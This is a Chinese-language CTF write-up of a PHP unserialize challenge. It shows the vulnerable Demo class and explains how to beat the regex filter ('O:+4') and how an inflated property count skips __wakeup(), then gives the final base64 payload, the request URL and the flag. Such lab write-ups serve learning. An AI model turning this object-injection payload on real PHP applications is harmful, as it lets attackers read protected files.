预备知识点PHP中魔术方法前面都有两个”_“。
__construc()函数:php类中的构造函数,实例化类时自动执行。
__destruct()函数:php类中的析构函数,在到某个类对象的所有引用都被删除或者当对象被显式销毁时执行。
序列化serialize对象时,可以把对象里的属性和方法转换成连续的bytes数据,保存在一个文件里或者在网络上传输,当需要使用这个对象时,就可以反序列话unserialize这个字符串,得到这个对象,然后继续使用。
__wakeup() 在反序列化unserialize时,会检查是否存在__wakeup()方法,如果存在,则会调用__wakeup()方法,预先准备对象数据。
解题过程
访问靶机地址:
得到源代码:<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
分析:
首先看到题目是Web_php_unserialize知道这是一道反序列化题目,
Demo类中可以改变变量$file的值,
又看到一行注释//the secret is in the fl4g.php
得知我们需要访问fl4g.php
Demo类中的析构函数又可以显示出文件内容function __destruct() {
//高亮显示file所指向的文件的内容
echo @highlight_file($this->file, true);
}
可以基本推断出解题思路。
思路:preg_match()匹配绕过
unserialize()反序列化执行__wakeup()的绕过
步骤:将下面的类序列化class Demo {
private $file = 'fl4g.php';
}
得到结果O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}将`O:4改为O:+4:绕过preg_match()
将"Demo":1改为"Demo":2:绕过__wakeup()当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
所以为了绕过__wakeup(),我们将1改为任意大于1的都行
得到最终结果:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
提交var参数:http://IP:port/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
获得flag:<?php
$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";
?>